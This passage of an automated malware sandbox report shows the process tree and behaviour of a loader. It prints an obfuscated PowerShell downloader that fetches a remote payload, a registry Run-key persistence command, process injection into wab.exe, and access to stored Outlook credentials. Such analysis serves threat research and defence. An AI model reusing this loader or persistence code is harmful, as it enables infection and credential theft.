Emp,gT.coslAbdomoGa,vabGaskaaGuestlAnkla:FdselPPre,boInteresand s BlokiSlin bAlvino.arxsgopreg=Trans$SteroFT.wnleBerigr As,asWelldk ,jvnvIndd,aStewanKonfedFaneksOvercf .olkiJunktsmeub,k.uperepettin Ov,r.B,frusStimap Oliel HektiTakestfreds(Kynde$ ophiRTrampe Subag T,leuBipedaR,memrDecusaOpridnPivfatStrowiGra,meIpsedsSludr)Heilb ');Rkkeflgernes (Sknhedskonkurrencen ' Doma[ TotaN ftape UtaktBa kl.QuatsSInds.eKbeasrNon.hvUnderiNydancMisfoeNrhedPTe,rioSp,oliBetalnNaughtJuncoMDepicaResuln ertuaEsk.pg .nfae A rarPoace]Styrk: Pot :LakyfSHalftePartucBredbu Selvr Bypli BolitVendey Dok,PTek tr,fskeoxviiitMosasosa.fuc KolpoAmtsglErube V.inn=Carda Indt[ SordN BasteAfklitBrest..yvaaSKvadreJernacT,nkiu SinirSapieiOver,tCheecyAkut,PTabelrUdstuoTul.etsilkgo lotacUnsino FjaslPra fT R nsybrunipVidneeCemen]Afgif: Pugg:T mmyTCat al Dispssved 1ind,r2,aiga ');$Ferskvandsfisken=$Poesibog[0];$Lufter= (Sknhedskonkurrencen 'Dvaer$IndaagLeverlHentyoSofasbrep,ead,sfrlRutsj:ungulIKonsen mreocVarveoBifagnGlu.ssA,mcho PsyclGul haDykesbMejsllUnbigyA.dit= To,aNC,rboeGl bbwSepim-DugruOamur b,appejSe,itechersc.uftftPho o SemisSOnderyRe ubsSlgtstForeseAkkormObsol.GrainN tigmeFaerdtUnval. StopWAnnoye WeepbInkonCUnidelZoni.ierytheMeth nDdsrit');$Lufter+=$Hexavalent[1];Rkkeflgernes ($Lufter);Rkkeflgernes (Sknhedskonkurrencen 'Kvind$KoebtI An inSmrekc Sy.soAmmonn.abiasD kumoInitil Gu.daT ngtb LectlMicrayPoler.IrrevHPkgsqeF.rskaCyamedApoc e elvbrSnoldsWestl[Preex$ DaahDAlumie rangfGlycoi ClinnYesteiVenust DestiAbonnoTermonCetussT,kstvQu.noiKarr nTrolddvildtuDedikeAdgantwirews .ori]Freds= Disp$ModerN TryloMogrenBrnefb.dskyi lykst SpottGentaeMili,rTilta ');$Yellowhammer=Sknhedskonkurrencen 'Kett.$ mreoIWhi enDestic ,uoto Vr.lnBo.dlsHavgaoStr kl nema Overb BdenlLuannybomhu.ScorbDDestroprahawPionenFotosl .etaoKollaaArbejdZoomeF,emoriLibellSuleoeRe.il( Fest$Vand,F,rudeeReticr BrunsDesinkMush,vflushaJamlin ,neadManussHighmfConviiJocums Ef,ek SkoleActinnpr,in,Bonif$UnferRE,spee UtfadAger.bSlighiBedstrHand.dteenf)Sprng ';$Redbird=$Hexavalent[0];Rkkeflgernes (Sknhedskonkurrencen 'Ch,st$PrydegFors ldrkaroSkeljb ProbaTjenelSa.ba:TiggeO P lym tarriSocios L.tts Pa.aiudenroUnso,n ,nims Trel=Dimis(ProceTM.tabeNgleps Ov,rtR,fil- LandPDel,caRootetGleesh afde si.et$UnfisRf,rtreChirodRentebBerbeiTenesrWettedHe du)Super ');while (!$Omissions) {Rkkeflgernes (Sknhedskonkurrencen 'Sande$ ilatg C,pelGropio.issob Av aa JernlConsu:Blyi,TAfmrkr PortiTal,esSube.iTeabolP,intiAryanc Rappi,illicInter=Bevis$SmdedtAfslurBlokkuUnespeMol,y ') ;Rkkeflgernes $Yellowhammer;Rkkeflgernes (Sknhedskonkurrencen 'cd.brSBuskbtDibroa DecarclosetBesee-Jack SSpoillMottoeFireeeHovedp .edi Nucif4rungs ');Rkkeflgernes (Sknhedskonkurrencen ' Bac.$Boa,pgB,andl Ove,oAntisbImperastr dl,hosp:PulveOIndarmRich,iBantes ChansEc aliRespioChromnIntensGulli= Exzo( MaskTS ipoe SvarsFrdigtFrses-DiscoPdiallaVersit F.lchGen,e Fordu$ m stR AshieincomdSk efbU,seniAlmenrByrded,ndse)Drukk ') ;Rkkeflgernes (Sknhedskonkurrencen ' Sonh$AdjoigPurselRedemoP atvbformiaAlgevl Virk:PressFHavioeSangarBenzivCoendeH,glsnspermt,mmanlPresuyLa ge= Fre.$susaagPolynlgebi,o UndebEditoaparamlBlrek:L.becdAnthee EquibReciraSmigrr oopakCertai eppenR,gnegScien+ mayb+Twirl%Trill$SpunsPMandoofink eTe rosOmkrai Sknsbth,ouoUldedgSkjul. Ungac .rokoUncarukjeldnMiddatPu.in ') ;$Ferskvandsfisken=$Poesibog[$Fervently];}$Antistater=343620;$Katryn=29583;Rkkeflgernes (Sknhedskonkurrencen ' Pejl$KrimigVagerldechroPoserbDagceaApprel Berg:Tids,C Ra dy EvenkNonobeDorsolR nchbZetseaEthn.nUnworeFeudarGluconma,dseU reds,rech Pers= Spnd Plas,GWoodceRus.ntMazol-Pa ulCGenfoo.llinn MisttOverfe Pis.nFlaa t Clin B kla$IntroRSubore iandBadesbSautei E.sprLo.sedSheep ');Rkkeflgernes (Sknhedskonkurrencen 'Earf $RemorgMedarlSittioM.skrbmutataFog.blPremi: R inUA,suadHoopelRgerigItineg cou,eFo valWhoo sSfmuneInchw Bekno=Inc.n .han[CockbSMe,suy OmtvsMedictO,eraeLske,mAnalo. P.ytCTemp oBlarnnCis.ov ,eniecombrr Udl.t Bily]Scle :Evolu:tiresF.icrorJailaoMlkenmS.bviBCetovaRefrasBloome Sy.t6Ribal4 dot.SUnhaitSt.bbrOstemiVampyn Un.ag Soci(Be.lo$NonhuC UnepyDestikEt,moe dssylToholbKlubla.ulgonHamh e Reorr OvernElecteNeoidsAster)Disci ');Rkkeflgernes (Sknhedskonkurrencen 'Polle$SudangUnparlAdresoGenlsb na iaFu lelAfs u: Ph,eUcosmolEnclovAfproe,ymfohPakvouHomognDownidTilsyeEftern lydsmod r No c=Behe, Fluat[timetS Tenny pr.nsBroedtBlodseHarpim Secu.BadehT Kambe mendxCitoltAfsva. UnorEOmmatn yatpcBockwoMocmadHderliVrtstnEfterg,trme]Seych:.eddi:L.ddeACalciS EvigCUncomIB,tanI,erat.O itoGPostlebrandtSumptS Spe,t OmfarBestniKniplnD.tongSexip(Cotyl$SorghU jecedcapenl,imiagGudingSoiree.ilenl IntesForeseHe,ve)Bootl ');Rkkeflgernes (Sknhedskonkurrencen ' Phle$Iso.rgSirtslElektoAgerabover aSt eplUltra:Spon.HManvraSplastA,vartHistoestatap Pon uOplaglDiabrd Salpsspect= Afma$SoremUMorgelFab ivnon,ueMadrah g asuU erundumpedHalvmeHypn,n ThensRetsf.Artsnschiweu OverbHavsnsFj,intKl,derF.rsai.emiqn OgdogLabou(Unret$AdalaABrunenTin.etFlybyi godkspign.tPre,aaDrjhetVatp eChirorQuell, Dren$NonzeKSelacaGrandtVandmr P.gryDissanFejle) isa ');Rkkeflgernes $Hattepulds;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Indagate83.Afl && echo t"
    3⤵
    PID:4044
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.Name) {$Melanoplakia++;$Chimla+='subst';$Chimla+='r';}$Chimla+='ing';Function Sknhedskonkurrencen($transferers){$Lavtrykkene=$transferers.Length-$Melanoplakia;For( $Anstndigstes=5;$Anstndigstes -lt $Lavtrykkene;$Anstndigstes+=6){$Nitrosomonas+=$transferers.$Chimla.'Invoke'( $Anstndigstes, $Melanoplakia);}$Nitrosomonas;}function Rkkeflgernes($Sknnes62){ . ($Jeppes) ($Sknnes62);}$Nonbitter=Sknhedskonkurrencen 'ForndM BaraoJ,lefzKons,iElisolArnbjl ,ypuaLg,er/Over.5Chifr.Mon.h0 Phot Grun( ChorWLnmodi rugsn HudedPy,meoKorsewMedles Wone CatheN eturT A.oc R ps1Popdr0Infor.Goxes0Ab,om;Uover LiverW ,airi,nstrndkket6 Bell4 Efte;Kontr Y wfoxLogpe6.yano4Bumle;Forny g nglrBloksv S,ge:Lat,m1caste2bo.ta1 Mall.Paleo0Cleit)Bryg. P sswGPreeceLentncper.ikInculoMater/Selvb2 Fakt0Quarr1Produ0bibem0Fre.t1Septe0Cragg1Tolk. AcetyFDiatoipillorGranieFirebfJ,gtbo A,tixVespe/Depri1Indit2Kines1Pyja..Kamic0St,iv ';$Definitionsvinduets=Sknhedskonkurrencen 'NavneUspri,sBoo sePraktrNeg i-VkstpARalligBvsereTradunSkabtt.ilmm ';$Ferskvandsfisken=Sknhedskonkurrencen 'DyrskhKl,getParoxt umpkp uckssOroba:Unde,/Kalke/BaromdMeinsrB,aasidasy,vkultueskyld.GriffgKapsloDyrtioUndefgProcelOttareIdio,.HunkncFactooSautemBesti/R nteu DebacAalbe?Fr gteinterxScuddpDisavoParlorAutoftPosta= Combd ForsoBadevwA.oxyn Ra.elMesosobyplaaKigund Misn& AtomiSkib,dNasop=outco1 onnimaboutiDietif UdplBPsep,HMelleiFondsDFetisu Bes,OGengiJAbcsuHVede,chove.MPaaklDPer ol ByggEMede.RSpatiHAnmrk5 Chil2 ewysvPr.ntSLyven4AftllpModelHRufgaMEc he4Ato,eXSwoonDBreviG nydeJ Cart5Enhj. ';$Reguaranties=Sknhedskonkurrencen ' ryly>dkni ';$Jeppes=Sknhedskonkurrencen ' bonuiSubs.eUnsquxAltan ';$Bedsitter='Rektoren';$Misparting = Sknhedskonkurrencen 'M,rmoeSalamcWestehA.tero lun Leche%NulloaHjertpMet,opFasandBysbaakundetGarvea.trkn%Frimu\ Ho,nISem hnUnduldLiguraAttung bonkaNondet,eutre .ngd8Hypno3Ommes. S vvA Beoef salilUnd,r Sharn&Unpol&Fremm A,lsee F ricsmykkhIncruoHagls Crouct Jrgi ';Rkkeflgernes (Sknhedskonkurrencen 'Sophn$R.tirg,ndirlroussoAlni,b InanaGipsblCarl,: MiniHMuskae HistxAcrida R,invS,ilsa SnoblArbejeBvelsn RechtAdver= ntra( Sem,cBrankmAntard pr,f Braen/ BloucVaabe Redb$UnspeMUnfrui KabisHamo,pKammeaSynkorKlgtstP.nguiAlbumnRebotg Caco) Volc ');Rkkeflgernes (Sknhedskonkurrencen 'bourg$ Emp,gT.coslAbdomoGa,vabGaskaaGuestlAnkla:FdselPPre,boInteresand s BlokiSlin bAlvino.arxsgopreg=Trans$SteroFT.wnleBerigr As,asWelldk ,jvnvIndd,aStewanKonfedFaneksOvercf .olkiJunktsmeub,k.uperepettin Ov,r.B,frusStimap Oliel HektiTakestfreds(Kynde$ ophiRTrampe Subag T,leuBipedaR,memrDecusaOpridnPivfatStrowiGra,meIpsedsSludr)Heilb ');Rkkeflgernes (Sknhedskonkurrencen ' Doma[ TotaN ftape UtaktBa kl.QuatsSInds.eKbeasrNon.hvUnderiNydancMisfoeNrhedPTe,rioSp,oliBetalnNaughtJuncoMDepicaResuln ertuaEsk.pg .nfae A rarPoace]Styrk: Pot :LakyfSHalftePartucBredbu Selvr Bypli BolitVendey Dok,PTek tr,fskeoxviiitMosasosa.fuc KolpoAmtsglErube V.inn=Carda Indt[ SordN BasteAfklitBrest..yvaaSKvadreJernacT,nkiu SinirSapieiOver,tCheecyAkut,PTabelrUdstuoTul.etsilkgo lotacUnsino FjaslPra fT R nsybrunipVidneeCemen]Afgif: Pugg:T mmyTCat al Dispssved 1ind,r2,aiga ');$Ferskvandsfisken=$Poesibog[0];$Lufter= (Sknhedskonkurrencen 'Dvaer$IndaagLeverlHentyoSofasbrep,ead,sfrlRutsj:ungulIKonsen mreocVarveoBifagnGlu.ssA,mcho PsyclGul haDykesbMejsllUnbigyA.dit= To,aNC,rboeGl bbwSepim-DugruOamur b,appejSe,itechersc.uftftPho o SemisSOnderyRe ubsSlgtstForeseAkkormObsol.GrainN tigmeFaerdtUnval. StopWAnnoye WeepbInkonCUnidelZoni.ierytheMeth nDdsrit');$Lufter+=$Hexavalent[1];Rkkeflgernes ($Lufter);Rkkeflgernes (Sknhedskonkurrencen 'Kvind$KoebtI An inSmrekc Sy.soAmmonn.abiasD kumoInitil Gu.daT ngtb LectlMicrayPoler.IrrevHPkgsqeF.rskaCyamedApoc e elvbrSnoldsWestl[Preex$ DaahDAlumie rangfGlycoi ClinnYesteiVenust DestiAbonnoTermonCetussT,kstvQu.noiKarr nTrolddvildtuDedikeAdgantwirews .ori]Freds= Disp$ModerN TryloMogrenBrnefb.dskyi lykst SpottGentaeMili,rTilta ');$Yellowhammer=Sknhedskonkurrencen 'Kett.$ mreoIWhi enDestic ,uoto Vr.lnBo.dlsHavgaoStr kl nema Overb BdenlLuannybomhu.ScorbDDestroprahawPionenFotosl .etaoKollaaArbejdZoomeF,emoriLibellSuleoeRe.il( Fest$Vand,F,rudeeReticr BrunsDesinkMush,vflushaJamlin ,neadManussHighmfConviiJocums Ef,ek SkoleActinnpr,in,Bonif$UnferRE,spee UtfadAger.bSlighiBedstrHand.dteenf)Sprng ';$Redbird=$Hexavalent[0];Rkkeflgernes (Sknhedskonkurrencen 'Ch,st$PrydegFors ldrkaroSkeljb ProbaTjenelSa.ba:TiggeO P lym tarriSocios L.tts Pa.aiudenroUnso,n ,nims Trel=Dimis(ProceTM.tabeNgleps Ov,rtR,fil- LandPDel,caRootetGleesh afde si.et$UnfisRf,rtreChirodRentebBerbeiTenesrWettedHe du)Super ');while (!$Omissions) {Rkkeflgernes (Sknhedskonkurrencen 'Sande$ ilatg C,pelGropio.issob Av aa JernlConsu:Blyi,TAfmrkr PortiTal,esSube.iTeabolP,intiAryanc Rappi,illicInter=Bevis$SmdedtAfslurBlokkuUnespeMol,y ') ;Rkkeflgernes $Yellowhammer;Rkkeflgernes (Sknhedskonkurrencen 'cd.brSBuskbtDibroa DecarclosetBesee-Jack SSpoillMottoeFireeeHovedp .edi Nucif4rungs ');Rkkeflgernes (Sknhedskonkurrencen ' Bac.$Boa,pgB,andl Ove,oAntisbImperastr dl,hosp:PulveOIndarmRich,iBantes ChansEc aliRespioChromnIntensGulli= Exzo( MaskTS ipoe SvarsFrdigtFrses-DiscoPdiallaVersit F.lchGen,e Fordu$ m stR AshieincomdSk efbU,seniAlmenrByrded,ndse)Drukk ') ;Rkkeflgernes (Sknhedskonkurrencen ' Sonh$AdjoigPurselRedemoP atvbformiaAlgevl Virk:PressFHavioeSangarBenzivCoendeH,glsnspermt,mmanlPresuyLa ge= Fre.$susaagPolynlgebi,o UndebEditoaparamlBlrek:L.becdAnthee EquibReciraSmigrr oopakCertai eppenR,gnegScien+ mayb+Twirl%Trill$SpunsPMandoofink eTe rosOmkrai Sknsbth,ouoUldedgSkjul. Ungac .rokoUncarukjeldnMiddatPu.in ') ;$Ferskvandsfisken=$Poesibog[$Fervently];}$Antistater=343620;$Katryn=29583;Rkkeflgernes (Sknhedskonkurrencen ' Pejl$KrimigVagerldechroPoserbDagceaApprel Berg:Tids,C Ra dy EvenkNonobeDorsolR nchbZetseaEthn.nUnworeFeudarGluconma,dseU reds,rech Pers= Spnd Plas,GWoodceRus.ntMazol-Pa ulCGenfoo.llinn MisttOverfe Pis.nFlaa t Clin B kla$IntroRSubore iandBadesbSautei E.sprLo.sedSheep ');Rkkeflgernes (Sknhedskonkurrencen 'Earf $RemorgMedarlSittioM.skrbmutataFog.blPremi: R inUA,suadHoopelRgerigItineg cou,eFo valWhoo sSfmuneInchw Bekno=Inc.n .han[CockbSMe,suy OmtvsMedictO,eraeLske,mAnalo. P.ytCTemp oBlarnnCis.ov ,eniecombrr Udl.t Bily]Scle :Evolu:tiresF.icrorJailaoMlkenmS.bviBCetovaRefrasBloome Sy.t6Ribal4 dot.SUnhaitSt.bbrOstemiVampyn Un.ag Soci(Be.lo$NonhuC UnepyDestikEt,moe dssylToholbKlubla.ulgonHamh e Reorr OvernElecteNeoidsAster)Disci ');Rkkeflgernes (Sknhedskonkurrencen 'Polle$SudangUnparlAdresoGenlsb na iaFu lelAfs u: Ph,eUcosmolEnclovAfproe,ymfohPakvouHomognDownidTilsyeEftern lydsmod r No c=Behe, Fluat[timetS Tenny pr.nsBroedtBlodseHarpim Secu.BadehT Kambe mendxCitoltAfsva. UnorEOmmatn yatpcBockwoMocmadHderliVrtstnEfterg,trme]Seych:.eddi:L.ddeACalciS EvigCUncomIB,tanI,erat.O itoGPostlebrandtSumptS Spe,t OmfarBestniKniplnD.tongSexip(Cotyl$SorghU jecedcapenl,imiagGudingSoiree.ilenl IntesForeseHe,ve)Bootl ');Rkkeflgernes (Sknhedskonkurrencen ' Phle$Iso.rgSirtslElektoAgerabover aSt eplUltra:Spon.HManvraSplastA,vartHistoestatap Pon uOplaglDiabrd Salpsspect= Afma$SoremUMorgelFab ivnon,ueMadrah g asuU erundumpedHalvmeHypn,n ThensRetsf.Artsnschiweu OverbHavsnsFj,intKl,derF.rsai.emiqn OgdogLabou(Unret$AdalaABrunenTin.etFlybyi godkspign.tPre,aaDrjhetVatp eChirorQuell, Dren$NonzeKSelacaGrandtVandmr P.gryDissanFejle) isa ');Rkkeflgernes $Hattepulds;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Indagate83.Afl && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2792
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5100
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Catacaustic" /t REG_EXPAND_SZ /d "%Snydertampens% -w 1 $Lejrudstyrene=(Get-ItemProperty -Path 'HKCU:\Blodhundens\').Indstiftelser;%Snydertampens% ($Lejrudstyrene)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3544
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Catacaustic" /t REG_EXPAND_SZ /d "%Snydertampens% -w 1 $Lejrudstyrene=(Get-ItemProperty -Path 'HKCU:\Blodhundens\').Indstiftelser;%Snydertampens% ($Lejrudstyrene)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1640
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        Modifies registry class
        
        PID:3724
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1840
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sdtbbym"
        5⤵
        
        PID:4304
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sdtbbym"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\cxylcqxjgz"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3112
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\freecjpkuhzae"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4772
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3304
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4584
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2880
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        Modifies registry class
        
        PID:4388
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3168
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4264
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3864
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2900
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:388
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4884
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3564
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4976
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2920
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3164
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2392
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1312
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        Modifies registry class
        
        PID:4792
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3128
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4592
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:752
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3136
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4232
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1816
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5028
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:956
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:396
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1888
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1640
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3248
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1556
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1524
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2452
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2268
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3940
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1076
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1456
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3964
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        Modifies registry class
        
        PID:1968
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3656
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1412
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3228
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4220
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1936
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5020
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:640
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3300
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3264
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5076
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1072
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2456
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3144
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3876
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4276
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2064
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1564
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1108
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4668

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

